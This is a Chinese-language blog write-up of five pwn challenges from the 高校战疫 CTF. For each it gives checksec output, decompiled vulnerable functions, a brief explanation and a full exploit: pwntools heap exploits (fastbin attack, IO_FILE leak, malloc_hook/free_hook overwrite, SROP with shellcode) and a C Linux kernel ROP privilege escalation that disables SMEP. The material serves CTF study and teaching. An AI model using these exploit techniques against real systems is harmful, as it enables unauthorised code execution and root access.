avatar

高校战疫 pwn

easyheap

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int add()
{
void **v1; // rbx
signed int i; // [rsp+8h] [rbp-18h]
int nbytes; // [rsp+Ch] [rbp-14h]

for ( i = 0; ptr[i]; ++i )
;
if ( i > 2 )
return puts("Too many items!");
ptr[i] = malloc(0x10uLL);
puts("How long is this message?");
nbytes = read_int();
if ( nbytes > 1024 )
return puts("Too much size!");
*((_DWORD *)ptr[i] + 2) = nbytes;
v1 = (void **)ptr[i];
*v1 = malloc(nbytes);
puts("What is the content of the message?");
read(0, *(void **)ptr[i], (unsigned int)nbytes);
return puts("Add successfully.");
}

漏洞点在 add 中,虽然输入超过 1024 不会分配我们输入内容那个堆,但是记录 ptr 和 size 那个 0x20 这个堆还是会正常分配的,分配的指针也会写到 bss 段上。那这样的话直接 free 2次,直接通过 fd 来留一个指针到堆上,就可以愉快的任意地址写了,最后写 malloc_hook 的时候需要调一下栈,用 __libc_realloc 来改就好了。

1
2
3
4
1 改 free 的 got 表为 puts_plt
2 把 read 的 got 表写到 bss 上(因为add edit free 都有有次数限制)
3 free bss 上的 read_got leak
4 改 malloc_hook 为 libc_realloc getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')




def add(length, msg,flag):
sla('choice:\n', '1')
sla('message?\n', length)
if flag == 0:
sa('message?\n',msg)
else:
pass



def free(index):
sla('choice:\n', '2')
sla('deleted?\n', index)


def edit(index, msg):
sla('choice:\n', '3')
sla('odified?\n', index)
sa('message?\n', msg)



add(96,cyclic(96),0)
add(96,cyclic(96),0)
free(0)
free(1)
add(2000,cyclic(96),1)
add(2000,cyclic(96),1)
debug()
edit(0,p64(0) + p64(0x21) + p64(0x602018) + p64(0x60))
edit(1,p64(0x400670))
edit(0,p64(0) + p64(0x21) + p64(0x6020d0))
edit(1,p64(0x602030))
free(2)
rn(6)
addr_libc = uu64(rn(6)) - 0xf7250
leak('addr_libc', addr_libc)
addr_hook = addr_libc + 0x3c4b08
edit(0,p64(0) + p64(0x21) + p64(addr_hook) + p64(0x60))
magic = addr_libc + 0xf1147
edit(1,p64(magic) + p64(addr_libc + 0x846c0 + 11))
sl('1')
sl('3')
irt()

woodenbox

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 change_item()
{
int v0; // ST08_4
int v2; // [rsp+4h] [rbp-2Ch]
int v3; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
char nptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( qword_2020A8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
v3 = read(0, (void *)qword_2020A8[2 * v2], v0);
if ( qword_2020A8[2 * v2][v3 - 1] == 10 )
qword_2020A8[2 * v2][v3 - 1] = 0;
*((_DWORD *)&itemlist + 4 * v2) = strlen(qword_2020A8[2 * v2]);
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v6;
}

漏洞在 edit 时,大小是由我们控制的,堆溢出,没有 leak,打 io_file,修改这个结构体来 leak 然后 fastbin attak 来改 malloc_hook 拿 shell,不过这个也得调栈,做的时候没注意 leave 时是 double free,估计通过报错来运行 one_gadget 就会满足条件。

1
2
3
4
5
6
1 先申请 3 个 0x60 和一个 0x90 的堆
2 free 掉 0x90 落入 main_arena+88
3 申请 0x20 此时会有 0x70 大小的 chunk 带有 main_arena+88
4 申请 0x60 低2字节写 \xdd\x25 会有 IO_2_1_stderr_+157 地址在堆上
5 申请 2 个堆在 free 掉,然后通过溢出改 fd 低 1 字节为 IO_2_1_stderr_+157 堆所在地址
6 fastbin attck
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
magic_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')







def debug():
raw_input('go?')




def add(length, poc):
sla('choice:', '1')
sla('name:', length)
sa('item:', poc)




def free(index):
sla('choice:', '3')
sla('item:', index)


def edit(index, length,poc):
sla('choice:', '2')
sla('item:', index)
sla('name:', length)
sa('item:', poc)



debug()
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x90,'aaaa')
add(0x60,'aaaa')
free(2)
add(0x20,'aaaa')
add(0x60,'\xdd\x25')
add(0x60,'aaaa')
add(0x60,'aaaa')
free(4)
free(4)
poc = cyclic(80) + p64(0) + p64(0x71) + cyclic(112) + p64(0) + p64(0x71) + '\x10'
edit(0,1024,poc)
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60, cyclic(51) + p64(0xfbad1887) + p64(0) * 3 + '\x08')
rn(56)
addr_libc = uu64(rn(6)) - 200 - 0x3c5540
leak('addr_libc', addr_libc)
addr_hook = addr_libc + 0x3c4b10
magic = addr_libc + magic_16[1]
add(0x60,'aaaa')
free(1)
free(4)
poc = cyclic(96) + p64(0) + p64(0x71) + p64(addr_hook - 0x23)
edit(0,1024,poc)
leak('magic', magic)
debug()
add(0x60,'aaaa')
add(0x60,cyclic(11) + p64(magic)+ p64(addr_libc + 0x846c0))
sla('choice:', '1')
sla('name:', '123')
irt()

babyhacker

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

很明显的栈溢出,基础的一道内核 rop,开了 smep 和 smap,这道题启动脚本里 echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict 可以直接查看地址,一般的话是 1 ,可以直接已 root 启动,然后查看。那么直接 rop 使用 cr4 寄存器 把 semp 关掉,这样就可以 ret2 user,执行 用户态代码来提权了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include<stdio.h>
#include<sys/ioctl.h>
#include<sys/mman.h>
#include<stdint.h>
#include<stdio.h>


uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff&s[i]);
}
return result;
}


struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void save_status(){
asm(
" mov %%cs, %0\n"
"mov %%ss,%1\n"
"mov %%rsp,%3\n"
"pushfq\n"
"popq %2"
:"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
:
:"memory"
);
tf.rsp -= 4096;
tf.rip = &launch_shell;
}
uint64_t (*commit_creds)(uint64_t cred) = 0xffffffff810a1430;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810a1820;

void payload(){
commit_creds(prepare_kernel_cred(0));
asm("movq $tf, %rsp\n"
"swapgs\n"
"iretq\n");
launch_shell();
}



void set_size(int fd,int size){
ioctl(fd,0x30000,size - 0x1000);

}


void read_data(int fd, char *buf){
ioctl(fd,0x30002,buf);
}

void write_data(int fd, char *buf){
ioctl(fd,0x30001,buf);
}


int main(){
save_status();
int fd = open("/dev/babyhacker",0);
char buf[0x1000];
set_size(fd,0x300);
read_data(fd,buf);
write(1,buf,0x200);
uint64_t canary = u64(&buf[0x50]);
printf("[+]canary %p\n", canary);
uint64_t address = u64(&buf[0x28]);
uint64_t nokaslr = 0xffffffff82311720;
commit_creds = address + (commit_creds - nokaslr);
prepare_kernel_cred = address + (prepare_kernel_cred - nokaslr);
uint64_t pop_rdi = address + 0xffffffff8109054d - nokaslr;
uint64_t mov_cr4 = address + 0xffffffff81004d70 - nokaslr;
uint64_t ropchain[0x100] = {
0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,
canary,0,
pop_rdi,0x6f0,
mov_cr4,0,&payload
};


write_data(fd,ropchain);
}

Shotest_Path_v2

这道题应该是偷鸡了, flag 直接存在了堆上,感觉应该是 fopen 的时候会申请一个堆块, flag 刚好读到了那里,另外在 delete 的时候也有 uaf。不过直接申请过去,show 出来就好了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('121.37.181.246', 19008)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



def add0(id0, price, length, name, stat, id1, dis):
sla('options ---> ', '1')
sla('Station ID: ', id)
sla('Station Price: ', price)
sla('Station Name Length: ', length)
sa(' Name:\n', name)
sla('connected station: ', stat)
sla('ID: ', id1)
sla('distance: ', dis)



def add1(id, price, length, name, stat):
sla('options ---> ', '1')
sla('Station ID: ', id)
sla('Station Price: ', price)
sla('Station Name Length: ', length)
sla('Station Name: \n', name)
sla('connected station: ', stat)



def free(index):
sla('options ---> ', '2')
sla(' ID: ', index)


def show0(index):
sla('options ---> ', '3')
sla(' ID: ', index)





add1(0,0,144,'aaaa',0)
add1(1,0,32,'bbbb',0)
free(0)
add1(2,0,144,'aaaaaaaa',0)
show0(2)
rn(22)
addr_libc = uu64(rn(6)) - 2 - 0x3c4b08
leak('addr_libc', addr_libc)
add1(3,0,144,'aaaa',0)
add1(4,0,144,cyclic(64),0)
add1(5,0,144,'aaaa',0)
add1(6,0,144,'aaaa',0)
show0(4)
irt()

lgd

估计出题人也玩刀塔?之前国赛的时候正值 ti9 在国内,票价被炒到天上了,有一道叫强网先锋的题目,不知道是不是一个人出的。LGD,咚咚咚!!!

好了,这个题目逆向起来比较麻烦,漏洞在 add 中存储 edit 的 size 是用 snprintf,若成功则返回预写入的字符串长度,sprintf的返回值是成功写入的字符串长度细品。堆溢出,打 free_hook,然后利用 unsorted attack 踩出size,fastbin attack 拿到 free_hook 改为 setcontex + 53,劫持栈到堆上,SROP然后ROP读出 flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')




def add(size, poc):
sla('>> ', '1')
sla('__?\n', size)
sa('or_no?\n',poc)

def show(index):
sla('>> ', '3')
sla('index ?\n', index)



def free(index):
sla('>> ', '2')
sla('index ?\n', index)

def edit(index, poc):
sla('>> ', '4')
sla('index ?\n', index)
sa('content ?\n',poc)




sla('name? \n', '1234')
add(0x90,'aaaa')
add(0x68,cyclic(333))
free(0)
add(0x20,cyclic(333))
add(0x68,cyclic(333))
add(0x68, cyclic(333))
show(2)
addr_libc = uu64(rn(6)) - 88 - 0x10 - 0x3c4b10
addr_setcontext = addr_libc + 0x47b75
leak('addr_libc', addr_libc)
addr_free = addr_libc + 0x3c67a8
add(0xf8,'aaaa')
add(0x68,'aaaa')
free(4)
payload = cyclic(96) + p64(0) + p64(0x101) + p64(0) + p64(addr_free - 0x10 - 0x40)
edit(3,payload)
add(0xf8,'a')
free(1)
free(2)
add(0x68,cyclic(333))
payload = cyclic(96) + p64(0x70) + p64(0x71) + p64(addr_free - 0x43)
edit(1,payload)
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = addr_free & 0xfffffffffffff000
frame.rdx = 0x2000
frame.rsp = addr_free & 0xfffffffffffff000
frame.rip = addr_libc + 0xbc375
payload = str(frame)
add(0x68,cyclic(333))
edit(2,payload)
add(0x68,cyclic(333))
edit(6,'\x00' * 51 + p64(addr_setcontext))
debug()
free(2)
layout = [
addr_libc + 0x0000000000021102,
addr_free & 0xfffffffffffff000,
addr_libc + 0x00000000000202e8,
0x2000,
addr_libc + 0x0000000000001b92,
7,
addr_libc + 0x0000000000033544,
10,
addr_libc + 0x00000000000bc375,
addr_libc + 0x0000000000002a71,
]

sc= asm("""
xor rdi,rdi
xor rax,rax
xor rsi,rsi
xor rdx,rdx
jmp str

open :
pop rdi
mov rsi,0
mov rax,2
syscall


read :
mov rdi,rax
mov rsi,0x6033C5
mov rdx,0x30
mov rax,0
syscall

write :
mov rdi,1
mov rax,1
mov rsi,0x6033C5
mov rdx,0x30
syscall

exit :
mov rax,60
mov rdi,0
syscall
str :
call open
.ascii "flag"
.byte 0
""")
s(flat(layout) + sc)
irt()

其余的后面再补

Author: CarlStar
Link: http://yoursite.com/2020/04/03/uac/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment